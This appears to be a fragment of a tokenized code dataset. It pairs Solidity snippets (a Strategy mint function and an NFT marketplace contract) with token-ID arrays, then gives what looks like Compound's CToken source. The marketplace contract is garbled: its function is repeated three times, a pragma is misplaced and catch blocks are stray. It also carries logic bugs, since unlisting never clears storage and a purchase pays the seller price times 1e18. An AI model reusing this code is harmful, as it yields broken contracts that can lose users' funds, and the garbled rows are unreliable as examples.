-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0xA298c0B0772c27f3DaC7DDCFa7f9bD92A8E6b1D9/sources/src/roller/Strategy.sol | @dev Mint strategy tokens with base tokens. It can be called only when not invested and not ejected. @param to Recipient for the strategy tokens @return minted Amount of strategy tokens minted @notice The base tokens that the user invests need to have been transferred previously, using a batchable router. minted = supply * value(deposit) / value(strategy) | function mintDivested(
address to
) external isState(State.DIVESTED) returns (uint256 minted) {
uint256 baseCached_ = baseCached;
uint256 deposit = base.balanceOf(address(this)) - baseCached_;
baseCached = baseCached_ + deposit;
minted = (_totalSupply * deposit) / baseCached_;
_mint(to, minted);
emit Trade(address(base), address(this), deposit, minted, to);
}
| 3,996,566 | [
1,
49,
474,
6252,
2430,
598,
1026,
2430,
18,
2597,
848,
506,
2566,
1338,
1347,
486,
2198,
3149,
471,
486,
425,
6059,
18,
225,
358,
23550,
364,
326,
6252,
2430,
327,
312,
474,
329,
16811,
434,
6252,
2430,
312,
474,
329,
225,
1021,
1026,
2430,
716,
326,
729,
2198,
25563,
1608,
358,
1240,
2118,
906,
4193,
7243,
16,
1450,
279,
2581,
429,
4633,
18,
312,
474,
329,
273,
14467,
225,
460,
12,
323,
1724,
13,
342,
460,
12,
14914,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
312,
474,
7244,
3149,
12,
203,
3639,
1758,
358,
203,
565,
262,
3903,
353,
1119,
12,
1119,
18,
2565,
3412,
882,
2056,
13,
1135,
261,
11890,
5034,
312,
474,
329,
13,
288,
203,
3639,
2254,
5034,
1026,
9839,
67,
273,
1026,
9839,
31,
203,
3639,
2254,
5034,
443,
1724,
273,
1026,
18,
12296,
951,
12,
2867,
12,
2211,
3719,
300,
1026,
9839,
67,
31,
203,
3639,
1026,
9839,
273,
1026,
9839,
67,
397,
443,
1724,
31,
203,
203,
3639,
312,
474,
329,
273,
261,
67,
4963,
3088,
1283,
380,
443,
1724,
13,
342,
1026,
9839,
67,
31,
203,
203,
3639,
389,
81,
474,
12,
869,
16,
312,
474,
329,
1769,
203,
203,
3639,
3626,
2197,
323,
12,
2867,
12,
1969,
3631,
1758,
12,
2211,
3631,
443,
1724,
16,
312,
474,
329,
16,
358,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/11155111/0x987610d0B1264e4D6706744cD64368bD90c7Ebd0/sources/project_/contracts/Marketplace721.sol | mapping from nft contract address to tokenId to sellingInfo | contract Marketplace721 is Ownable, IMarketplace721 {
uint256 private _listingFee = 1 ether;
address public _marketOwner;
mapping(address => mapping(uint256 => ListedNFT)) listedNftList;
pragma solidity ^0.8.6;
constructor() {
_marketOwner = msg.sender;
}
function _verifyCollection(
address walletAddress,
address nftContractAddress,
uint256 tokenId,
bytes memory signature
) public pure returns (address) {
return
ECDSA.recover(
keccak256(
abi.encode(walletAddress, nftContractAddress, tokenId)
),
signature
);
}
function withdrawBalance() external payable onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
function getListingFee() external view returns (uint256) {
return _listingFee;
}
function setListingFee(uint256 newFee) external onlyOwner {
_listingFee = newFee;
}
function getListedNFT(
address nftContractAddress,
uint256 tokenId
) external view returns (address, address, uint256, uint256, bool) {
ListedNFT memory nft = listedNftList[nftContractAddress][tokenId];
return (nftContractAddress, nft.owner, tokenId, nft.price, nft.status);
}
function listNFT(
address nftContractAddress,
uint256 tokenId,
uint256 price,
string memory name,
string memory description,
string memory imageURL,
bytes memory signature
) external payable {
require(
msg.value >= _listingFee,
"Marketplace: You have to pay us some ether for listing nft"
);
require(
_verifyCollection(
msg.sender,
nftContractAddress,
tokenId,
signature
) == _marketOwner,
"Marketplace: You are listing a nft belongs to an unregistered collection"
);
require(
IERC721(nftContractAddress).ownerOf(tokenId) == msg.sender,
"Marketplace: You dont have permission to list this nft for sale"
);
require(price > 0, "Marketplace: You cannot sell this nft for free");
require(
listedNftList[nftContractAddress][tokenId].status == false,
"Marketplace: You cannot list a listed nft"
);
listedNftList[nftContractAddress][tokenId] = ListedNFT(
nftContractAddress,
tokenId,
msg.sender,
price,
true
);
emit ListingNFT(
msg.sender,
nftContractAddress,
tokenId,
price,
name,
description,
imageURL,
block.timestamp
);
}
function unlistNFT(address nftContractAddress, uint256 tokenId) external {
ListedNFT memory listedNft = listedNftList[nftContractAddress][tokenId];
require(
listedNft.status == true,
"Marketplace: You cannot unlist an unlisted nft"
);
require(
msg.sender == listedNft.owner,
"Marketplace: You cannot unlist this nft"
);
delete (listedNft);
emit UnlistNFT(
msg.sender,
nftContractAddress,
tokenId,
block.timestamp
);
}
function buyNFT(
address nftContractAddress,
uint256 tokenId
) external payable {
ListedNFT memory listedNft = listedNftList[nftContractAddress][tokenId];
require(
listedNft.status == true,
"Marketplace: You cannot buy an unlisted/disabled nft"
);
require(
listedNft.owner != msg.sender,
"Marketplace: You cannot buy your own nft"
);
require(
msg.value >= listedNft.price,
"Marketplace: Not enough money to cover rental period"
);
payable(listedNft.owner).transfer(listedNft.price * 1e18);
IERC721(nftContractAddress).safeTransferFrom(
listedNft.owner,
msg.sender,
listedNft.tokenId
);
delete listedNftList[nftContractAddress][tokenId];
emit BuyingNFT(
msg.sender,
listedNft.owner,
nftContractAddress,
listedNft.tokenId,
listedNft.price,
block.timestamp
);
}
function _validateNftContract(
address nftContractAddress
) internal view returns (bool) {
bool _isRentable = false;
bool _isNFT = false;
try
IERC721(nftContractAddress).supportsInterface(
type(IERC721).interfaceId
)
returns (bool rentable) {
_isRentable = rentable;
return false;
}
try
IERC721(nftContractAddress).supportsInterface(
type(IERC721).interfaceId
)
returns (bool nft) {
_isNFT = nft;
return false;
}
return _isRentable && _isNFT;
}
function _validateNftContract(
address nftContractAddress
) internal view returns (bool) {
bool _isRentable = false;
bool _isNFT = false;
try
IERC721(nftContractAddress).supportsInterface(
type(IERC721).interfaceId
)
returns (bool rentable) {
_isRentable = rentable;
return false;
}
try
IERC721(nftContractAddress).supportsInterface(
type(IERC721).interfaceId
)
returns (bool nft) {
_isNFT = nft;
return false;
}
return _isRentable && _isNFT;
}
} catch {
function _validateNftContract(
address nftContractAddress
) internal view returns (bool) {
bool _isRentable = false;
bool _isNFT = false;
try
IERC721(nftContractAddress).supportsInterface(
type(IERC721).interfaceId
)
returns (bool rentable) {
_isRentable = rentable;
return false;
}
try
IERC721(nftContractAddress).supportsInterface(
type(IERC721).interfaceId
)
returns (bool nft) {
_isNFT = nft;
return false;
}
return _isRentable && _isNFT;
}
} catch {
}
| 3,805,263 | [
1,
6770,
628,
290,
1222,
6835,
1758,
358,
1147,
548,
358,
357,
2456,
966,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
6622,
24577,
27,
5340,
353,
14223,
6914,
16,
467,
3882,
24577,
27,
5340,
288,
203,
565,
2254,
5034,
3238,
389,
21228,
14667,
273,
404,
225,
2437,
31,
203,
565,
1758,
1071,
389,
27151,
5541,
31,
203,
203,
565,
2874,
12,
2867,
516,
2874,
12,
11890,
5034,
516,
987,
329,
50,
4464,
3719,
12889,
50,
1222,
682,
31,
203,
203,
683,
9454,
18035,
560,
3602,
20,
18,
28,
18,
26,
31,
203,
565,
3885,
1435,
288,
203,
3639,
389,
27151,
5541,
273,
1234,
18,
15330,
31,
203,
565,
289,
203,
203,
565,
445,
389,
8705,
2532,
12,
203,
3639,
1758,
9230,
1887,
16,
203,
3639,
1758,
290,
1222,
8924,
1887,
16,
203,
3639,
2254,
5034,
1147,
548,
16,
203,
3639,
1731,
3778,
3372,
203,
565,
262,
1071,
16618,
1135,
261,
2867,
13,
288,
203,
3639,
327,
203,
5411,
7773,
19748,
18,
266,
3165,
12,
203,
7734,
417,
24410,
581,
5034,
12,
203,
10792,
24126,
18,
3015,
12,
19177,
1887,
16,
290,
1222,
8924,
1887,
16,
1147,
548,
13,
203,
7734,
262,
16,
203,
7734,
3372,
203,
5411,
11272,
203,
565,
289,
203,
203,
565,
445,
598,
9446,
13937,
1435,
3903,
8843,
429,
1338,
5541,
288,
203,
3639,
8843,
429,
12,
3576,
18,
15330,
2934,
13866,
12,
2867,
12,
2211,
2934,
12296,
1769,
203,
565,
289,
203,
203,
565,
445,
10033,
310,
14667,
1435,
3903,
1476,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
327,
389,
21228,
14667,
31,
203,
565,
289,
203,
203,
565,
445,
444,
19081,
14667,
12,
11890,
5034,
394,
14667,
13,
2
] |
// SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
import "./ComptrollerInterface.sol";
import "./CTokenInterfaces.sol";
import "./ErrorReporter.sol";
import "./Exponential.sol";
import "./EIP20Interface.sol";
import "./EIP20NonStandardInterface.sol";
import "./InterestRateModel.sol";
/**
* @title Compound's CToken Contract
* @notice Abstract base for CTokens
* @author Compound
*/
abstract contract CToken is CTokenInterface, Exponential, TokenErrorReporter {
/**
* @notice Initialize the money market
* @param comptroller_ The address of the Comptroller
* @param interestRateModel_ The address of the interest rate model
* @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18
* @param name_ EIP-20 name of this token
* @param symbol_ EIP-20 symbol of this token
* @param decimals_ EIP-20 decimal precision of this token
*/
function initialize(ComptrollerInterface comptroller_,
InterestRateModel interestRateModel_,
uint initialExchangeRateMantissa_,
string memory name_,
string memory symbol_,
uint8 decimals_) public {
require(msg.sender == admin, "only admin may initialize the market");
require(accrualBlockNumber == 0 && borrowIndex == 0, "market may only be initialized once");
// Set initial exchange rate
initialExchangeRateMantissa = initialExchangeRateMantissa_;
require(initialExchangeRateMantissa > 0, "initial exchange rate must be greater than zero.");
// Set the comptroller
uint err = _setComptroller(comptroller_);
require(err == uint(Error.NO_ERROR), "setting comptroller failed");
// Initialize block number and borrow index (block number mocks depend on comptroller being set)
accrualBlockNumber = getBlockNumber();
borrowIndex = mantissaOne;
// Set the interest rate model (depends on block number / borrow index)
err = _setInterestRateModelFresh(interestRateModel_);
require(err == uint(Error.NO_ERROR), "setting interest rate model failed");
name = name_;
symbol = symbol_;
decimals = decimals_;
// The counter starts true to prevent changing it from zero to non-zero (i.e. smaller cost/refund)
_notEntered = true;
}
/**
* @notice Transfer `tokens` tokens from `src` to `dst` by `spender`
* @dev Called by both `transfer` and `transferFrom` internally
* @param spender The address of the account performing the transfer
* @param src The address of the source account
* @param dst The address of the destination account
* @param tokens The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferTokens(address spender, address src, address dst, uint tokens) internal returns (uint) {
/* Fail if transfer not allowed */
uint allowed = comptroller.transferAllowed(address(this), src, dst, tokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.TRANSFER_COMPTROLLER_REJECTION, allowed);
}
/* Do not allow self-transfers */
if (src == dst) {
return fail(Error.BAD_INPUT, FailureInfo.TRANSFER_NOT_ALLOWED);
}
/* Get the allowance, infinite for the account owner */
uint startingAllowance = 0;
if (spender == src) {
startingAllowance = uint(-1);
} else {
startingAllowance = transferAllowances[src][spender];
}
/* Do the calculations, checking for {under,over}flow */
MathError mathErr;
uint allowanceNew;
uint srcTokensNew;
uint dstTokensNew;
(mathErr, allowanceNew) = subUInt(startingAllowance, tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ALLOWED);
}
(mathErr, srcTokensNew) = subUInt(accountTokens[src], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_NOT_ENOUGH);
}
(mathErr, dstTokensNew) = addUInt(accountTokens[dst], tokens);
if (mathErr != MathError.NO_ERROR) {
return fail(Error.MATH_ERROR, FailureInfo.TRANSFER_TOO_MUCH);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
accountTokens[src] = srcTokensNew;
accountTokens[dst] = dstTokensNew;
/* Eat some of the allowance (if necessary) */
if (startingAllowance != uint(-1)) {
transferAllowances[src][spender] = allowanceNew;
}
/* We emit a Transfer event */
emit Transfer(src, dst, tokens);
comptroller.transferVerify(address(this), src, dst, tokens);
return uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `msg.sender` to `dst`
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transfer(address dst, uint256 amount) external override nonReentrant returns (bool) {
return transferTokens(msg.sender, msg.sender, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Transfer `amount` tokens from `src` to `dst`
* @param src The address of the source account
* @param dst The address of the destination account
* @param amount The number of tokens to transfer
* @return Whether or not the transfer succeeded
*/
function transferFrom(address src, address dst, uint256 amount) external override nonReentrant returns (bool) {
return transferTokens(msg.sender, src, dst, amount) == uint(Error.NO_ERROR);
}
/**
* @notice Approve `spender` to transfer up to `amount` from `src`
* @dev This will overwrite the approval amount for `spender`
* and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve)
* @param spender The address of the account which may transfer tokens
* @param amount The number of tokens that are approved (-1 means infinite)
* @return Whether or not the approval succeeded
*/
function approve(address spender, uint256 amount) external override returns (bool) {
address src = msg.sender;
transferAllowances[src][spender] = amount;
emit Approval(src, spender, amount);
return true;
}
/**
* @notice Get the current allowance from `owner` for `spender`
* @param owner The address of the account which owns the tokens to be spent
* @param spender The address of the account which may transfer tokens
* @return The number of tokens allowed to be spent (-1 means infinite)
*/
function allowance(address owner, address spender) external override view returns (uint256) {
return transferAllowances[owner][spender];
}
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external override view returns (uint256) {
return accountTokens[owner];
}
/**
* @notice Get the underlying balance of the `owner`
* @dev This also accrues interest in a transaction
* @param owner The address of the account to query
* @return The amount of underlying owned by `owner`
*/
function balanceOfUnderlying(address owner) external override returns (uint) {
Exp memory exchangeRate = Exp({mantissa: exchangeRateCurrent()});
(MathError mErr, uint balance) = mulScalarTruncate(exchangeRate, accountTokens[owner]);
require(mErr == MathError.NO_ERROR, "balance could not be calculated");
return balance;
}
/**
* @notice Get a snapshot of the account's balances, and the cached exchange rate
* @dev This is used by comptroller to more efficiently perform liquidity checks.
* @param account Address of the account to snapshot
* @return (possible error, token balance, borrow balance, exchange rate mantissa)
*/
function getAccountSnapshot(address account) external override view returns (uint, uint, uint, uint) {
uint cTokenBalance = accountTokens[account];
uint borrowBalance;
uint exchangeRateMantissa;
MathError mErr;
(mErr, borrowBalance) = borrowBalanceStoredInternal(account);
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
(mErr, exchangeRateMantissa) = exchangeRateStoredInternal();
if (mErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0, 0, 0);
}
return (uint(Error.NO_ERROR), cTokenBalance, borrowBalance, exchangeRateMantissa);
}
/**
* @dev Function to simply retrieve block number
* This exists mainly for inheriting test contracts to stub this result.
*/
function getBlockNumber() internal view returns (uint) {
return block.number;
}
/**
* @notice Returns the current per-block borrow interest rate for this cToken
* @return The borrow interest rate per block, scaled by 1e18
*/
function borrowRatePerBlock() external override view returns (uint) {
return interestRateModel.getBorrowRate(getCashPrior(), totalBorrows, totalReserves);
}
/**
* @notice Returns the current per-block supply interest rate for this cToken
* @return The supply interest rate per block, scaled by 1e18
*/
function supplyRatePerBlock() external override view returns (uint) {
return interestRateModel.getSupplyRate(getCashPrior(), totalBorrows, totalReserves, reserveFactorMantissa);
}
/**
* @notice Returns the current total borrows plus accrued interest
* @return The total borrows with interest
*/
function totalBorrowsCurrent() external override nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return totalBorrows;
}
/**
* @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex
* @param account The address whose balance should be calculated after updating borrowIndex
* @return The calculated balance
*/
function borrowBalanceCurrent(address account) external override nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return borrowBalanceStored(account);
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return The calculated balance
*/
function borrowBalanceStored(address account) public override view returns (uint) {
(MathError err, uint result) = borrowBalanceStoredInternal(account);
require(err == MathError.NO_ERROR, "borrowBalanceStored: borrowBalanceStoredInternal failed");
return result;
}
/**
* @notice Return the borrow balance of account based on stored data
* @param account The address whose balance should be calculated
* @return (error code, the calculated balance or 0 if error code is non-zero)
*/
function borrowBalanceStoredInternal(address account) internal view returns (MathError, uint) {
/* Note: we do not assert that the market is up to date */
MathError mathErr;
uint principalTimesIndex;
uint result;
/* Get borrowBalance and borrowIndex */
BorrowSnapshot storage borrowSnapshot = accountBorrows[account];
/* If borrowBalance = 0 then borrowIndex is likely also 0.
* Rather than failing the calculation with a division by 0, we immediately return 0 in this case.
*/
if (borrowSnapshot.principal == 0) {
return (MathError.NO_ERROR, 0);
}
/* Calculate new borrow balance using the interest index:
* recentBorrowBalance = borrower.borrowBalance * market.borrowIndex / borrower.borrowIndex
*/
(mathErr, principalTimesIndex) = mulUInt(borrowSnapshot.principal, borrowIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, result) = divUInt(principalTimesIndex, borrowSnapshot.interestIndex);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, result);
}
/**
* @notice Accrue interest then return the up-to-date exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateCurrent() public override nonReentrant returns (uint) {
require(accrueInterest() == uint(Error.NO_ERROR), "accrue interest failed");
return exchangeRateStored();
}
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() public override view returns (uint) {
(MathError err, uint result) = exchangeRateStoredInternal();
require(err == MathError.NO_ERROR, "exchangeRateStored: exchangeRateStoredInternal failed");
return result;
}
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return (error code, calculated exchange rate scaled by 1e18)
*/
function exchangeRateStoredInternal() internal view returns (MathError, uint) {
uint _totalSupply = totalSupply;
if (_totalSupply == 0) {
/*
* If there are no tokens minted:
* exchangeRate = initialExchangeRate
*/
return (MathError.NO_ERROR, initialExchangeRateMantissa);
} else {
/*
* Otherwise:
* exchangeRate = (totalCash + totalBorrows - totalReserves) / totalSupply
*/
uint totalCash = getCashPrior();
uint cashPlusBorrowsMinusReserves;
Exp memory exchangeRate;
MathError mathErr;
(mathErr, cashPlusBorrowsMinusReserves) = addThenSubUInt(totalCash, totalBorrows, totalReserves);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
(mathErr, exchangeRate) = getExp(cashPlusBorrowsMinusReserves, _totalSupply);
if (mathErr != MathError.NO_ERROR) {
return (mathErr, 0);
}
return (MathError.NO_ERROR, exchangeRate.mantissa);
}
}
/**
* @notice Get cash balance of this cToken in the underlying asset
* @return The quantity of underlying asset owned by this contract
*/
function getCash() external override view returns (uint) {
return getCashPrior();
}
/**
* @notice Applies accrued interest to total borrows and reserves
* @dev This calculates interest accrued from the last checkpointed block
* up to the current block and writes new checkpoint to storage.
*/
function accrueInterest() override public returns (uint) {
/* Remember the initial block number */
uint currentBlockNumber = getBlockNumber();
uint accrualBlockNumberPrior = accrualBlockNumber;
/* Short-circuit accumulating 0 interest */
if (accrualBlockNumberPrior == currentBlockNumber) {
return uint(Error.NO_ERROR);
}
/* Read the previous values out of storage */
uint cashPrior = getCashPrior();
uint borrowsPrior = totalBorrows;
uint reservesPrior = totalReserves;
uint borrowIndexPrior = borrowIndex;
/* Calculate the current borrow interest rate */
uint borrowRateMantissa = interestRateModel.getBorrowRate(cashPrior, borrowsPrior, reservesPrior);
require(borrowRateMantissa <= borrowRateMaxMantissa, "borrow rate is absurdly high");
/* Calculate the number of blocks elapsed since the last accrual */
(MathError mathErr, uint blockDelta) = subUInt(currentBlockNumber, accrualBlockNumberPrior);
require(mathErr == MathError.NO_ERROR, "could not calculate block delta");
/*
* Calculate the interest accumulated into borrows and reserves and the new index:
* simpleInterestFactor = borrowRate * blockDelta
* interestAccumulated = simpleInterestFactor * totalBorrows
* totalBorrowsNew = interestAccumulated + totalBorrows
* totalReservesNew = interestAccumulated * reserveFactor + totalReserves
* borrowIndexNew = simpleInterestFactor * borrowIndex + borrowIndex
*/
Exp memory simpleInterestFactor;
uint interestAccumulated;
uint totalBorrowsNew;
uint totalReservesNew;
uint borrowIndexNew;
(mathErr, simpleInterestFactor) = mulScalar(Exp({mantissa: borrowRateMantissa}), blockDelta);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_SIMPLE_INTEREST_FACTOR_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, interestAccumulated) = mulScalarTruncate(simpleInterestFactor, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_ACCUMULATED_INTEREST_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalBorrowsNew) = addUInt(interestAccumulated, borrowsPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_BORROWS_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), interestAccumulated, reservesPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(mathErr));
}
(mathErr, borrowIndexNew) = mulScalarTruncateAddUInt(simpleInterestFactor, borrowIndexPrior, borrowIndexPrior);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(mathErr));
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/* We write the previously calculated values into storage */
accrualBlockNumber = currentBlockNumber;
borrowIndex = borrowIndexNew;
totalBorrows = totalBorrowsNew;
totalReserves = totalReservesNew;
/* We emit an AccrueInterest event */
emit AccrueInterest(cashPrior, interestAccumulated, borrowIndexNew, totalBorrowsNew);
return uint(Error.NO_ERROR);
}
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintInternal(uint mintAmount) internal nonReentrant returns (uint, uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
// accrueInterest emits logs on errors, but we still want to log the fact that an attempted borrow failed
return (fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED), 0);
}
// mintFresh emits the actual Mint event if successful and logs on errors, so we don't need to
return mintFresh(msg.sender, mintAmount);
}
struct MintLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint mintTokens;
uint totalSupplyNew;
uint accountTokensNew;
uint actualMintAmount;
}
/**
* @notice User supplies assets into the market and receives cTokens in exchange
* @dev Assumes interest has already been accrued up to the current block
* @param minter The address of the account which is supplying the assets
* @param mintAmount The amount of the underlying asset to supply
* @return (uint, uint) An error code (0=success, otherwise a failure, see ErrorReporter.sol), and the actual mint amount.
*/
function mintFresh(address minter, uint mintAmount) internal returns (uint, uint) {
/* Fail if mint not allowed */
uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount);
if (allowed != 0) {
return (failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed), 0);
}
/* Verify market's block number equals current block number */
if (accrualBlockNumber != getBlockNumber()) {
return (fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK), 0);
}
MintLocalVars memory vars;
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return (failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr)), 0);
}
/////////////////////////
// EFFECTS & INTERACTIONS
// (No safe failures beyond this point)
/*
* We call `doTransferIn` for the minter and the mintAmount.
* Note: The cToken must handle variations between ERC-20 and ETH underlying.
* `doTransferIn` reverts if anything goes wrong, since we can't be sure if
* side-effects occurred. The function returns the amount actually transferred,
* in case of a fee. On success, the cToken holds an additional `actualMintAmount`
* of cash.
*/
vars.actualMintAmount = doTransferIn(minter, mintAmount);
/*
* We get the current exchange rate and calculate the number of cTokens to be minted:
* mintTokens = actualMintAmount / exchangeRate
*/
(vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(vars.actualMintAmount, Exp({mantissa: vars.exchangeRateMantissa}));
require(vars.mathErr == MathError.NO_ERROR, "MINT_EXCHANGE_CALCULATION_FAILED");
/*
* We calculate the new total supply of cTokens and minter token balance, checking for overflow:
* totalSupplyNew = totalSupply + mintTokens
* accountTokensNew = accountTokens[minter] + mintTokens
*/
(vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);
